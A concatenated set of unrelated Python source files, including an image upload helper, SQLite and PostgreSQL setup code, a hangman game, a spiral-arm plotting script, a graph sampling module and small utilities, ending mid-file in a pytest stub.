print(Bright_Magenta + Ms1 + Bright_Green +"). We added loop")
print(Bright_Magenta + Ms2 + Bright_Green +"). We we changed colors")
print(Bright_Magenta + Ms3 + Bright_Green +"). We advanced login security")
print(Bright_Magenta + Ms4 + Bright_Green +"). We added a game called EvilNinja")
print(Bright_Magenta + Ms5 + Bright_Green +"). We modified the program")
print(Bright_Magenta + Ms6 + Bright_Green +"). We made more menu items available")
print(Bright_Magenta + Ms7 + Bright_Green +"). Hacking Lessons Will Be Available\n\
Date; 01/04/2022")
print(Dark_Blue + BG_Dark_Green + Line + Rest)
print(Bright_Red +"")
Auto_Text_4 = "[+] -> Errors"
for char in Auto_Text_4:
sys.stdout.write(char)
sys.stdout.flush()
time.sleep(0.5)
print("")
print(Bright_Magenta + Ms1 + Bright_Green +"). Chat Option in Menu for Termux/Linux\n\
Is not working!!!\n\
\n\
Note: BlackDoc Might Be In Github\n\
But Is Still Under developing.")
print(Bright_Magenta + Ms1 + Bright_Green +"). Other Items in Menu they are\n\
Unavailable")
print(Bright_Magenta + Ms2 + Bright_Green +"). The script is still under Developing")
print(Dark_Blue + BG_Dark_Green + Line + Rest)
print(Dark_Blue + BG_Dark_Green + Line + Rest)
| 9,158 |
src/moz_image/main.py
|
mozkzki/moz-image
| 0 |
2024489
|
import os
import sys
import uuid
import requests
from contextlib import contextmanager
from dotenv import load_dotenv
from PIL import Image as pimage
GYAZO_UPLOAD_URL = "https://upload.gyazo.com/api/upload"
@contextmanager
def download(url: str):
image = _download_image(url)
save_file_path = _save_image(image)
try:
yield save_file_path
finally:
os.remove(save_file_path)
def _download_image(url: str, timeout: int = 10) -> bytes:
response = requests.get(url, allow_redirects=False, timeout=timeout)
if response.status_code != 200:
e = Exception("HTTP status: " + str(response.status_code))
raise e
content_type = response.headers["content-type"]
if "image" not in content_type:
e = Exception("Content-Type: " + str(content_type))
raise e
return response.content
def _make_save_file_path() -> str:
file_name = str(uuid.uuid4())
save_file_path = os.path.join("/tmp/mmimage/", file_name)
return save_file_path
def _save_image(image: bytes) -> str:
save_file_path = _make_save_file_path()
# ディレクトリが存在しない場合は作る
os.makedirs(os.path.dirname(save_file_path), exist_ok=True)
with open(save_file_path, "wb") as fout:
fout.write(image)
return save_file_path
def resize(path: str, *, width: int = 302) -> None:
if os.path.isfile(path) is not True:
print("file does not exists. path={}".format(path), file=sys.stderr)
return
img = pimage.open(path)
# 保存先のファイル名作成
# フォーマット指定がないとエラーになる
new_path = "".join((path, ".", img.format))
# 画像の解像度を取得して、リサイズする高さを計算
img_width, img_height = img.size
resize_width = float(width)
resize_height = resize_width / img_width * img_height
# 画像をリサイズ
img = img.resize((int(resize_width), int(resize_height)))
img.save(new_path)
# 古いファイルと入れ替える
os.remove(path)
os.rename(new_path, path)
def upload_to_gyazo(path: str, access_token: str = None) -> str:
image = open(path, "rb")
files = {"imagedata": image}
# files = {"imagedata": ("filename", image, "image")}
# 引数指定がなければ環境変数からaccess token読み込み
if access_token is None:
load_dotenv(verbose=True)
access_token = os.environ.get("gyazo_access_token", "dummy_token")
data = {"access_token": access_token}
response = requests.post(GYAZO_UPLOAD_URL, files=files, data=data)
if response.reason == "Unauthorized" and response.status_code == 401:
print(
"[error] gyazo access token is invalid!",
"please set correct token by environment variable <gyazo_access_token>.",
)
return ""
url = response.json()["url"]
print("------------- URL: ", url)
return url
| 2,744 |
src/other/sbl.py
|
sgherbst/simple-base-lib
| 1 |
2024217
|
import sblc
import os
# set working dir to SBL's dataPath
# fix(later): should do this directly from C++ code
os.chdir( sblc.dataPath() )
# convert a python value to a string value suitable to for SBL commands/configs
def strProc( val ):
valStr = str( val );
if valStr == "False":
valStr = "0"
if valStr == "True":
valStr = "1"
return valStr
# represents an entry in a configuration file
class ConfigEntry:
# basic constructor
def __init__( self, _name, _value, _comment ):
self.name = _name
self.value = _value
self.comment = _comment
# represents a configuration file
class Config:
# basic constructor
def __init__( self ):
self.__dict__[ "_entries" ] = []
# add a config entry
def __setattr__( self, name, value ):
if not name.startswith( "_" ):
found = False
for e in self._entries: # fix(later): use dict (though want to maintain order)
if e.name == name:
e.value = value
found = True
if not found:
self._entries.append( ConfigEntry( name, value, "" ) )
# read a config entry
def __getattr__( self, name ):
if not name.startswith( "_" ):
for e in self._entries: # fix(later): use dict (though want to maintain order)
if e.name == name:
return e.value
raise AttributeError
# create a string version suitable for passing to an SBL command
def __str__( self ):
s = ""
for e in self._entries:
if e.name:
s += e.name + "=" + strProc( e.value ) + " "
return s
# load a configuration file (in SBL format)
def load( self, fileName ):
f = open( fileName, "r" )
if f:
for line in f:
line = line.strip()
# get comments/meta-data
preComment = line
comment = ""
if '[' in line:
split = line.split( '[', 1 )
preComment = split[ 0 ]
comment = "[" + split[ 1 ]
elif '#' in line:
split = line.split( '#', 1 )
preComment = split[ 0 ]
comment = "#" + split[ 1 ]
# get name and value (if any)
name = ""
value = ""
split = preComment.split()
if len( split ) >= 2:
name = split[ 0 ]
value = split[ 1 ]
# append an entry (even for blank lines)
self._entries.append( ConfigEntry( name, value, comment ) )
# save this configuration file (in SBL format)
def save( self, fileName ):
f = open( fileName, "w" )
if f:
for e in self._entries:
if e.name:
f.write( e.name )
f.write( " " )
f.write( strProc( e.value ) )
if e.comment:
f.write( " " )
if e.comment:
f.write( e.comment )
f.write( "\n" )
# provides a simple interface to SBL commands
class CommandRouter:
# return true if user has requested that the current command stop running
def checkCommandCancel( self ):
return sblc.checkCommandEvents()
# display a message
def disp( self, indent, message ):
sblc.disp( 0, indent, message )
# display a warning
def warning( self, message ):
sblc.disp( 1, 0, message )
# display a fatal error (will terminate program)
def fatalError( self, message ):
sblc.disp( 2, 0, message )
# assume all other method calls are commands; send to SBL C++ command system
def __getattr__( self, name ):
if not name.startswith( "_" ):
def runCommand( *args, **keywords ):
cmdStr = name + " " + " ".join( [strProc( a ) for a in args] )
sblc.execCommand( cmdStr )
return runCommand
else:
raise AttributeError
| 4,214 |
aiobot/exceptions/__init__.py
|
thedyrn/aio-vkbot
| 2 |
2023480
|
from .vk_error import VkError
from .aiobot_error import NoneSessionError
__all__ = [VkError, NoneSessionError]
| 111 |
binary-search/python/binary_search.py
|
abccdabfgc/algorithms-java
| 16 |
2023290
|
#!/usr/bin/env python3
import os, json
def binary_search(key, arr):
lo = 0
hi = len(arr) - 1
while lo <= hi:
mid = lo + (hi - lo) // 2;
if key < arr[mid]:
hi = mid - 1
elif key > arr[mid]:
lo = mid + 1
else:
return mid
return -1
def main():
with open(os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), 'input.json')) as f:
for input in json.load(f):
r = binary_search(input['key'], input['array'])
print('binary_search(%s, %s) => %s' % (input['key'], input['array'], r))
if input['result'] != r:
raise Error('failed. expected = %s, actual = %s' % (input['result'], r))
if __name__ == '__main__':
main()
| 782 |
test/test_chained_func_call.py
|
mad-center/bilibili-mad-crawler
| 0 |
2023173
|
def foo(next=True):
print('foo')
return next
def bar():
print('bar')
return False
foo(next=True) and bar()
print('=' * 50)
foo(next=False) and bar()
| 169 |
number_terms.py
|
mvgugaev/Python-Algorit-Stepik
| 11 |
2024530
|
import time
# Задача: По данному числу 1 <= n <=10^9 найдите максимальное число k,
# для которого nn можно представить как сумму k различных натуральных слагаемых.
# Выведите в первой строке число k, во второй — k слагаемых.
# Input:
# 6
# 120 30
# Output:
# 3
# 1 2 3
# Time: 4.935264587402344e-05 s
def main():
n = int(input())
# Get start time
start = time.time()
result, part = [], 1
while n != 0:
while part * 2 >= n and part != n:
part += 1
result.append(part)
n -= part
part += 1
print(str(len(result)) + '\n' + ' '.join([str(i) for i in result]))
# Show time
print('Time: ', time.time() - start, 's')
if __name__ == "__main__":
main()
| 737 |
init_db.py
|
MardanovTimur/aiochat
| 0 |
2024326
|
from sqlalchemy import create_engine, MetaData
from chatapp.settings import config
from chatapp.models import user, friends
from aiopg.sa.engine import aiopg
DSN = 'postgresql://{user}:{password}@{host}:{port}/{database}'
def create_tables(engine):
""" Initialize the database
"""
meta = MetaData()
meta.create_all(bind=engine, tables=[user, friends])
def sample_data(engine):
""" Creates the sample data in database
"""
conn = engine.connect()
conn.execute(user.insert(), [
{
'username': 'timurmardanov97',
},
{
'username': 'jax02',
},
])
conn.close()
async def init_pg(app):
conf = app['config']['postgres']
engine = await aiopg.sa.create_engine(**conf)
app['db'] = engine
async def close_pg(app):
app['db'].close()
await app['db'].wait_closed()
if __name__ == '__main__':
db_url = DSN.format(**config['postgres'])
engine = create_engine(db_url)
create_tables(engine)
sample_data(engine)
| 1,035 |
terminio/commandexecutor/cd.py
|
SourishS/terminio
| 1 |
2023741
|
from terminio.commandexecutor.commandexecutor import CommandExecutor
class cd(CommandExecutor):
def __init__(self, session):
super(cd, self).__init__(session)
self.grammer = {
'directory' : {
'description' : 'Directory to list',
'type' : 'string'
}
}
def execute_command(self, cwd, args):
if args.directory is None:
return cwd
elif args.directory == '.':
return cwd
elif args.directory == '..':
return '/'.join(cwd.split('/')[0:-1])
else:
return args.directory
| 634 |
binding.gyp
|
tylerflint/node-kstat
| 1 |
2024035
|
{
'targets': [
{
'target_name': 'kstat',
'sources': [ 'kstat.cc' ],
'libraries': [ '-lkstat' ],
'cflags_cc': [ '-Wno-write-strings' ],
'cflags_cc!': [ '-fno-exceptions' ],
}
]
}
| 220 |
convertmusic/db/meta.py
|
groboclown/music-uploader
| 0 |
2024191
|
import sqlite3
import os
class Table(object):
def __init__(self, conn, table_name, columns):
"""
columns: list of columns, which is itself a list of:
column name, column SQL type, default value, is index.
First column is always the primary key (never inserted)
"""
object.__init__(self)
self.__name = table_name
self.__conn = conn
self.__identity_column_name = columns[0][0]
self.__insert_column_names = []
# skip the unique column id
for c in columns[1:]:
self.__insert_column_names.append(c[0])
upgrade = False
c = conn.execute("SELECT name FROM sqlite_master WHERE type='table' AND name=?;", [table_name])
for row in c:
if row[0] == table_name:
upgrade = True
c.close()
if upgrade:
# TODO allow upgrade
pass
else:
col_sql = []
for c in columns:
s = '{0} {1}'.format(c[0], c[1])
if len(c) > 2 and c[2] is not None:
s += ' DEFAULT {0}'.format(c[2])
if len(c) > 3 and c[3] is not None:
s += ' {0}'.format(c[3])
col_sql.append(s)
sql = 'CREATE TABLE {0} ({1})'.format(table_name, ','.join(col_sql))
conn.execute(sql)
conn.commit()
def insert(self, *values):
vs = []
for n in values:
vs.append('?')
c = self.__conn.execute("INSERT INTO {0} ({1}) VALUES ({2})".format(
self.__name, ','.join(self.__insert_column_names), ','.join(vs)
), values)
r = c.lastrowid
c.close()
self.__conn.commit()
return r
def delete_by_id(self, id):
try:
c = self.__conn.execute("DELETE FROM {0} WHERE {1} = ?".format(
self.__name, self.__identity_column_name
), [id])
ret = c.rowcount
c.close()
self.__conn.commit()
return ret > 0
except:
print("PROBLEM with sql: {0}".format(
"DELETE FROM {0} WHERE {1} = ?".format(
self.__name, self.__identity_column_name)
))
raise
def delete_where(self, where_clause, *values):
c = self.__conn.execute('DELETE FROM {0} WHERE {1}'.format(
self.__name, where_clause), values)
ret = c.rowcount
c.close()
self.__conn.commit()
return ret
def close(self):
self.__conn = None
def __del__(self):
self.close()
class TableDef(object):
def __init__(self, name, columns=None):
object.__init__(self)
self.__name = name
self.__columns = []
if columns is not None:
self.__columns.extend(columns)
def with_column(self, name, type, default=None, index=None):
self.__columns.append([name, type, default, index])
return self
@property
def name(self):
return self.__name
@property
def columns(self):
return self.__columns
class Db(object):
def __init__(self, filename, table_defs):
"""
table_defs: list of TableDef instances.
"""
object.__init__(self)
self.__conn = sqlite3.connect(filename)
self.__tables = {}
for td in table_defs:
assert isinstance(td, TableDef)
t = Table(self.__conn, td.name, td.columns)
self.__tables[td.name] = t
def __del__(self):
self.close()
def close(self):
if self.__conn is not None:
self.__conn.close()
self.__conn = None
def query(self, query, *values):
"""
Returns iterable rows.
"""
# print("DEUBG query: {0} {1}".format(repr(query), repr(values)))
v2 = []
for v in values:
if isinstance(v, str) and '\\' in v:
v = v.replace('\\', '\\\\')
v2.append(v)
c = self.__conn.execute(query, values)
for r in c:
yield r
c.close()
def table(self, name):
return self.__tables[name]
| 4,232 |
Dator/dator/wsgi.py
|
treyfortmuller/barc
| 191 |
2024451
|
"""
WSGI config for ruenoor project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.8/howto/deployment/wsgi/
"""
import os
import sys
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "dator.settings")
path = '/home/ubuntu/dator'
if path not in sys.path:
sys.path.append(path)
sys.path.append('/home/ubuntu/dator/dator')
sys.path.append('/home/ubuntu/dist/lib/python2.7/site-packages')
application = get_wsgi_application()
| 588 |
plot/plot_spiralwidth.py
|
dh4gan/tache
| 5 |
2024080
|
# Written 15/1/18 by dh4gan
# Script reads spiralmembers.dat file from spiralfind
# Also reads best fit parameters for each arm
# Then computes distance of particle from arm as a function of radius
import filefinder as ff
import io_tache
import io_spiral
import numpy as np
import matplotlib.pyplot as plt
from matplotlib.colors import LogNorm
npoints = 5000
print 'Select membership file to analyse:'
memberfile = ff.find_local_input_files('*_spiralmembers.dat')
ispiral = input("Which spiral to plot? ")
# Determine eigenvalue file name from memberfile name
eigenfile = memberfile[:-18]
# Read spiralmembers file
print 'Reading spiral membership in file',memberfile
x,y,z,spiralmember = io_spiral.read_spiralmembership(memberfile)
print 'Read ', len(spiralmember), ' elements'
#print spiralmember
# Read best fits (either .chimin or .fitparams)
fitparamfile = eigenfile+'_spirals.chimin'
fitdata = np.genfromtxt(fitparamfile,skiprows=2)
# Find fit parameters for selected arm
a = fitdata[ispiral-1,2]
b = fitdata[ispiral-1,3]
x0 = fitdata[ispiral-1,4]
y0 = fitdata[ispiral-1,5]
xsign = fitdata[ispiral-1,7]
ysign = fitdata[ispiral-1,8]
# Find all elements belonging to that arm
imember = spiralmember[:]==ispiral
x = x[imember]
y = y[imember]
z = z[imember]
xorigin = 0.0
yorigin = 0.0
nmember = len(x)
print 'Found ', nmember, ' members of spiral ', ispiral
# For each element:
# compute r, sepmin (minimum distance from spiral)
# save to arrays
#nmember = 1000
r = np.zeros(nmember)
t = np.zeros(nmember)
sepmin = np.zeros(nmember)
weight = np.zeros(nmember)
for i in range(nmember):
r[i] = io_spiral.separation(xorigin,yorigin,x[i],y[i])
t[i], sepmin[i] = io_spiral.find_minimum_t_logspiral(x[i],y[i],a,b,x0,y0,npoints,xsign=xsign,ysign=ysign)
print i,r[i],t[i], sepmin[i]
tmin = np.amin(t)
tmax = np.amax(t)
weight[:] = 1.0/float(nmember)
print 'Minimum, maximum r: ', np.amin(r), np.amax(r)
print 'Minimum, maximum t: ', tmin, tmax
print 'Generating curve: '
print a,b,x0,y0,xsign,ysign
xspiral, yspiral = io_spiral.generate_logspiral_curve(tmin,tmax,a,b,x0,y0,xsign=xsign,ysign=ysign,npoints=npoints)
fig1 = plt.figure()
ax1 = fig1.add_subplot(111)
#ax2 = fig1.add_subplot(212)
ax1.set_xlabel('R (kpc)',fontsize=22)
ax1.set_ylabel('Spine Distance (kpc)',fontsize=22)
counts, xbins,ybins, image = ax1.hist2d(r/10.0,sepmin/10.0,bins=20, range=[[1.0,4.0],[0.0,0.1]],normed=False,cmap='rainbow')
#plt.colorbar(image,ax=ax1)
maxcount = counts.max()
print maxcount, np.median(counts)
clevels = [50,70,90,95]
clabels = [str(i)+'%' for i in clevels]
clevels = [np.percentile(counts[np.nonzero(counts)],i) for i in clevels]
print clevels
print clabels
CS= ax1.contour(counts.transpose(),extent=[xbins.min(),xbins.max(),ybins.min(),ybins.max()],colors='white',levels=clevels)
fmt={}
for l,s in zip(CS.levels,clabels):
fmt[l]=s
plt.clabel(CS,fontsize=16,fmt=fmt)
#ax1.hist(sepmin[:100])
#ax2.scatter(x[:100],y[:100])
#ax2.plot(xspiral,yspiral,color='red')
fig2 = plt.figure()
ax2 = fig2.add_subplot(111)
ax2.set_ylabel('Relative Frequency',fontsize=22)
ax2.set_xlabel('Spine Distance (kpc)',fontsize=22)
ax2.hist(sepmin/10.0,bins=50, histtype='step', label='all radii', linewidth=2,normed=True)
sepclose = sepmin[np.logical_and(r[:]>=10.0,r[:]<20.0)]
sepfar = sepmin[np.logical_and(r[:]>=20.0,r[:]<30.0)]
ax2.hist(sepclose/10.0, histtype = 'step',label = '$1.0 < r < 2.0 $ kpc',linewidth=2,normed=True)
ax2.hist(sepfar/10.0,histtype = 'step',label = '$2.0 < r < 3.0 $ kpc',linewidth=2,normed=True)
ax2.legend(loc='upper right')
plt.show()
fig1.savefig(eigenfile+'spiral_'+str(ispiral)+'width_vs_r.png')
fig2.savefig(eigenfile+'spiral_'+str(ispiral)+'width1D.png')
| 3,721 |
src/exceptionite/tabs/RecommendationsTab.py
|
girardinsamuel/exceptionite
| 6 |
2024367
|
from ..Tab import Tab
from ..blocks.PackagesUpdates import PackagesUpdates
class RecommendationsTab(Tab):
name = "Recommendations"
id = "recommendations"
icon = "CheckCircleIcon"
advertise_content = True
def __init__(self, handler):
super().__init__(handler)
self.add_blocks(PackagesUpdates)
| 332 |
main.py
|
prehensile/knobtwiddler
| 0 |
2022831
|
import sys, os
import tuning
import rtlfm
# main runloop
rtl = rtlfm.RTLFM()
#while True:
for i in range( 10 ):
# get a tuning
t = tuning.get_next_tuning()
# sample a bit
rtl.sample_frequency(
frequency = t.frequency,
modulation = t.modulation,
duration = 5 * 1000
)
# TODO: detect non-silence
# if not silence
# TODO: sample more
# TODO: detect voice
| 426 |
kino/management/__init__.py
|
DongjunLee/kino-bot
| 109 |
2023160
|
import inspect
import json
from ..functions import Functions
from ..utils.data_handler import DataHandler
from ..utils.data_loader import SkillData
from ..utils.data_loader import FeedData
def register_skills():
skills = inspect.getmembers(Functions, predicate=inspect.isfunction)
del skills[0] # del __init__
print("start register skills")
skill_dict = {}
try:
for k, v in skills:
parsed_doc = parse_doc(v.__doc__)
if parsed_doc is None:
print(f"{k} skill do not have doc. skip thie skill.")
continue
parsed_doc["params"] = list(v.__annotations__.keys())
skill_dict[k] = parsed_doc
except BaseException as e:
print(v.__doc__)
data_handler = DataHandler()
data_handler.write_file("skills.json", skill_dict)
print(f"kino-bot has **{len(skill_dict)}** skills.")
for k, v in skill_dict.items():
print(
f" - {v.get('icon', ':white_small_square: ')}**{k}** : {v.get('description', '')}"
)
def parse_doc(doc_string):
if doc_string is None:
return None
parsed_doc = {}
for line in doc_string.splitlines():
if ":" in line:
line = line.strip()
delimeter_index = line.index(":")
key = line[:delimeter_index]
value = json.loads(line[delimeter_index + 1 :])
parsed_doc[key] = value
return parsed_doc
def prepare_skill_data():
print("setting skill logs for Skill Predictor ...")
SkillData()
def prepare_feed_data():
print("setting feed and pocket logs for Feed Classifier ...")
FeedData()
| 1,666 |
src/CommunityGAN/sampling.py
|
Bipasha-banerjee/newCGAN
| 69 |
2024094
|
import numpy as np
import multiprocessing
import sys
import pickle
import utils
import random
def choice(samples, weight):
s = np.sum(weight)
target = random.random() * s
for si, wi in zip(samples, weight):
if target < wi:
return si
target -= wi
return si
class Sampling(object):
def __init__(self):
super(Sampling, self).__init__()
self.config = pickle.load(open(sys.argv[1], 'rb'))
self.id2nid = pickle.load(open(self.config.cache_filename_prefix + '.neighbor.pkl', 'rb'))
self.total_motifs = pickle.load(open(self.config.cache_filename_prefix + '.motifs.pkl', 'rb'))
self.theta_g = pickle.load(open(self.config.cache_filename_prefix + '.theta.pkl', 'rb'))
self.args = pickle.load(open(self.config.cache_filename_prefix + '.args.pkl', 'rb'))
# print('load data done', datetime.datetime.now())
def run(self):
cores = self.config.num_threads
motifs, paths = zip(*multiprocessing.Pool(cores).map(self.g_s, self.args))
pickle.dump(motifs, open(self.config.cache_filename_prefix + '.motifs_sampled.pkl', 'wb'))
pickle.dump(paths, open(self.config.cache_filename_prefix + '.paths.pkl', 'wb'))
def g_s(self, args): # for multiprocessing, pass multiple args in one tuple
root, n_sample, only_neg = args
motifs = []
paths = []
for i in range(2 * n_sample):
if len(motifs) >= n_sample:
break
motif = [root]
path = [root]
for j in range(1, self.config.motif_size):
v, p = self.g_v(motif)
if v is None:
break
motif.append(v)
path.extend(p)
if len(set(motif)) < self.config.motif_size:
continue
motif = tuple(sorted(motif))
if only_neg and motif in self.total_motifs:
continue
motifs.append(motif)
paths.append(path)
return motifs, paths
def g_v(self, roots):
g_v_v = self.theta_g[roots[0]].copy()
for nid in roots[1:]:
g_v_v *= self.theta_g[nid]
current_node = roots[-1]
previous_nodes = set()
path = []
is_root = True
while True:
if is_root:
node_neighbor = list({neighbor for root in roots for neighbor in self.id2nid[root]})
else:
node_neighbor = self.id2nid[current_node]
if len(node_neighbor) == 0: # the root node has no neighbor
return None, None
if is_root:
tmp_g = g_v_v
else:
tmp_g = g_v_v * self.theta_g[current_node]
relevance_probability = np.sum(self.theta_g[node_neighbor] * tmp_g, axis=1)
relevance_probability = utils.agm(relevance_probability)
next_node = choice(node_neighbor, relevance_probability) # select next node
if next_node in previous_nodes: # terminating condition
break
previous_nodes.add(current_node)
current_node = next_node
path.append(current_node)
is_root = False
return current_node, path
if __name__ == '__main__':
if len(sys.argv) != 2:
print('Usage: python sampling.py config.pkl')
s = Sampling()
s.run()
| 3,424 |
tadataka/dataset/__init__.py
|
IshitaTakeshi/Tadataka
| 54 |
2024311
|
from tadataka.dataset.tum_rgbd import TumRgbdDataset
from tadataka.dataset.new_tsukuba import NewTsukubaDataset
from tadataka.dataset.euroc import EurocDataset
| 160 |
GRE Hangman/gameplay.py
|
ntdai95/Personal-Projects
| 3 |
2024111
|
# Importing the colored function for user-friendly display
from termcolor import colored
class LetterPlacer:
def placing_letter_in_word(self, chosen_letter, list_secret_word, list_current_position):
"""Placing the user's guessed letter into the corresponding position among the list of list_current_position and then convert
it to a string to print out to the user the location of his/her choice of guessed letters"""
# Creating an empty list for the indexes where the user's guessed letter is located
indexes = []
# Adding the indexes to the list of indexes where the user's guessed letter is located
for index, letter in enumerate(list_secret_word):
if letter == chosen_letter:
indexes.append(index)
# Change the "_" characters with the user's guessed letter based on its location in the secret word
for index in indexes:
list_current_position[index] = chosen_letter
# Creating an empty string to display the location of the guessed letter for the user
string_current_position = ""
# Adding up the "_" characters with the correctly guessed letters as a string to display to the user
for index in list_current_position:
string_current_position = string_current_position + " " + index
# Print out the location of the guessed letter to the user
print(f"{chosen_letter} is in the word{string_current_position}.")
# Return the updated list of list_current_position with the added guessed letter
return list_current_position
class GuessedWordChecker:
def guess_word_input_validator(self):
"""Asking and checking the user's guessed word"""
# Create a while loop to keep asking for a valid guessed word from the user
while True:
# Asking the user for the guessed word, allowing the mix of uppercased and lowercased letters. Need to be upeercased the
# user input, so that it can match with the uppercased secret word.
guessed_word = input("\nTry and guess the word? ").upper()
# If the user's guessed word is valid, then return it.
if guessed_word.isalpha() == True:
return guessed_word
# If the user's guessed word is not valid (the guessed word contains non-alphabetical characters such as numbers of symbols,
# @, !, etc.), then display the warning message and go back and ask the new guessed word again.
else:
print("Please, guess a real word with alphabetical letters only.")
def guessed_word_is_secret_word(self, guessed_word, secret_word, wrong_guess):
"""Decides if the user's guessed word is the same as the secret word"""
# If the user's guessed word is the same as the secret word, then return the user's guessed word, which will be the same as the
# secret word
if guessed_word == secret_word:
return guessed_word
# If the user's guessed word is not the same as the secret word, then print out the warning message and return the guessed word
# as an empty string
else:
guessed_word = ""
print(f"That is not the word.\nYou still have {wrong_guess} guesses remaining.")
return guessed_word
class LetterChecker:
def letter_validator(self, chosen_letter, guessed_letters):
"""Checking if the user's entered letter is valid or not"""
# Check if the user enters an alphabetical letter or not
if chosen_letter.isalpha() == False:
print("Please, enter an alphabetical letter only!")
# Check if the user enters only 1 letter or not
elif len(list(chosen_letter)) != 1:
print("Please, enter one letter only!")
# Check if the guessed letter has already been guessed before
elif chosen_letter in guessed_letters:
print("You already guessed this letter. Please, choose another letter.")
# If there is no issue with the guessed letter, then return the following message
else:
return "Good letter"
def chosen_letter_in_list_secret_word(self, chosen_letter, wrong_guess, list_secret_word, list_current_position, secret_word, guessed_word):
"""Checking if the user's chosen letter is among the list of letters of the secret word"""
# Checking if user input of letter is in the secret word
if chosen_letter in list_secret_word:
# If the chosen letter is in the list of letters of secret word, then place that guessed letter in to its appropriate
# position(s) in the list of letters of secret word with the function of
# placing_letter_in_word()
instance_of_LetterPlacer = LetterPlacer()
list_current_position = instance_of_LetterPlacer.placing_letter_in_word(chosen_letter, list_secret_word, list_current_position)
# If the user find out all of the letters in the secret word, then there is no point to keep asking him again to guess the
# secret word
if "_" not in list_current_position:
return wrong_guess, list_current_position, secret_word
else:
instance_of_GuessedWordChecker = GuessedWordChecker()
# Ask the user to enter his/her's guess for the secret word and check if it is valid
guessed_word = instance_of_GuessedWordChecker.guess_word_input_validator()
# Replacing the guessed word with the secret word if the user correctly guessed the word with the function of
# guessed_word_is_secret_word()
guessed_word = instance_of_GuessedWordChecker.guessed_word_is_secret_word(guessed_word, secret_word, wrong_guess)
# If the word is not in the secret word, then decrease the number of guesses remaining by 1 and print out how many guess remains
# for the user
else:
wrong_guess -=1
print(f"{chosen_letter} is not in the word.\nYou have {wrong_guess} guesses remaining.")
# Return the updated wrong_guess, list_current_position, guessed_word variables
return wrong_guess, list_current_position, guessed_word
class Gameplay:
def gameplay(self, secret_word, definition_secret_word, list_current_position, list_secret_word, wrong_guess, guessed_letters):
"""Deciding if the user correctly guessed the word or not"""
# Creating a while loop to let the user guessed the letters until he/she runs out of guesses remainng
while wrong_guess != 0:
# Displaying the definition and the current position of guessed letters in the secret word
print(colored(f"\nDefinition: {definition_secret_word}", "cyan"))
string_current_position = ""
for character in list_current_position:
string_current_position += character + " "
print(colored(f"Word: {string_current_position[:-1]}\n", "cyan"))
# Asking the user for a letter, allowing either an uppercased or lowercased letter. Need to be uppercased the user input so
# that it can match the list of uppercased letters from the list of list_secret_word
chosen_letter = input("Guess a letter? ").upper()
# Checking, if the letter is valid with the letter_validator() function
instance_of_LetterChecker = LetterChecker()
letter_validity = instance_of_LetterChecker.letter_validator(chosen_letter, guessed_letters)
# Creating an empty string of guessed word, which will be the secret word if the user guesses it correctly and empty string
# otherwise
guessed_word = ""
# If the user input letter is valid, then move on, otherwise go back and ask a new letter again
if letter_validity == "Good letter":
# Adding the user entered valid letter to the lsit of guessed_letters to later check if the user is guessing the same
# letter again
guessed_letters.append(chosen_letter)
# Checking if the user's guessed letter is among the list of letters of the secret word with the function of
# chosen_letter_in_list_secret_word(). Then, return the number of wrong guesses remaining, the
# list of list_current_position (to display the current standing to the user), and the guessed_word as a secret word if
# the user guesses the word correctly after the guessing correctly the letter is among the letters of the secret word
wrong_guess, list_current_position, guessed_word = instance_of_LetterChecker.chosen_letter_in_list_secret_word(chosen_letter, wrong_guess, list_secret_word, list_current_position, secret_word, guessed_word)
# If the user guessed the secret word correctly, then return the guessed word as a secret word
if guessed_word == secret_word:
return guessed_word
# If the user did not guessed the secret word correctly and runs out of guesses, then return the guessed word as an empty string
else:
return guessed_word
| 9,282 |
tests/test_perl_side_proxy.py
|
yacchi21/PyPerl5
| 0 |
2024379
|
# -*- coding:utf8 -*-
from __future__ import division, print_function, unicode_literals
import unittest
import perl5
class ProxyTestObject(object):
def __init__(self, attr1):
self._attr1 = attr1
def attr1(self, data=None):
if data is None:
return self._attr1
self._attr1 = data
def proxy_test_func(arg):
return arg
SCRIPT = r"""
use PyPerl5::Proxy qw/ py_get_object /;
use PyPerl5::Boolean qw/ true false /;
sub unit_test {
my $ut = shift;
$ut->assertTrue(1);
$ut->assertFalse(0);
$ut->assertTrue(true);
$ut->assertFalse(false);
$ut->assertEqual([1, true], [1, true]);
}
sub unit_test2 {
my $ut = shift;
my $class = py_get_object("tests.test_perl_side_proxy.ProxyTestObject");
$ut->assertTrue($class->isa("PyPerl5::Proxy"));
my $o = $class->new("TEST");
$ut->assertEqual("TEST", $o->attr1);
$o->attr1("TEST2");
$ut->assertEqual("TEST2", $o->attr1);
}
sub unit_test3 {
my $ut = shift;
my $f = py_get_object("tests.test_perl_side_proxy.proxy_test_func");
my $ret = $f->("call");
$ut->assertEqual("call", $ret);
}
"""
class TestCase(unittest.TestCase):
vm = None
def setUp(self):
self.vm = vm = perl5.VM()
vm.eval(SCRIPT)
def tearDown(self):
self.vm.close()
def test_object_proxy(self):
self.vm.call("unit_test", self)
def test_py_get_object(self):
self.vm.call("unit_test2", self)
def test_function_exec(self):
self.vm.call("unit_test3", self)
if __name__ == '__main__':
unittest.main()
| 1,618 |
src/utils/__init__.py
|
amiiiirrrr/TensorRT_keras_model
| 1 |
2024204
|
#coding: utf-8
from utils.callbacks import CallbackForSegmentation
from utils.imagegen import CroppedImageDataGenerator, get_datagen
from utils.misc import *
| 157 |
src/icp/apps/beekeepers/migrations/0005_aprilsurvey.py
|
project-icp/bee-pollinator-app
| 6 |
2023180
|
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('beekeepers', '0004_survey_unique_together'),
]
operations = [
migrations.CreateModel(
name='AprilSurvey',
fields=[
('survey', models.OneToOneField(related_name='april', primary_key=True, serialize=False, to='beekeepers.Survey')),
('colony_loss_reason', models.TextField(help_text='The most likely causes for colony loss')),
],
),
]
| 608 |
dash_berkay/urls.py
|
efebuyuk/jd_intern_project
| 1 |
2024588
|
from django.urls import path
from . import views
from django.conf.urls import url
urlpatterns = [
path('', views.startapp),
]
| 131 |
transaction/tests/models/test_user_tag.py
|
Arthuchaut/sagittarius_project
| 0 |
2024067
|
import pytest
from user.models import User
from transaction.models import UserTag
class TestUserTag:
'''The UserTag model test class.
'''
@pytest.mark.django_db(transaction=True)
@pytest.mark.parametrize(
'name, icon', [
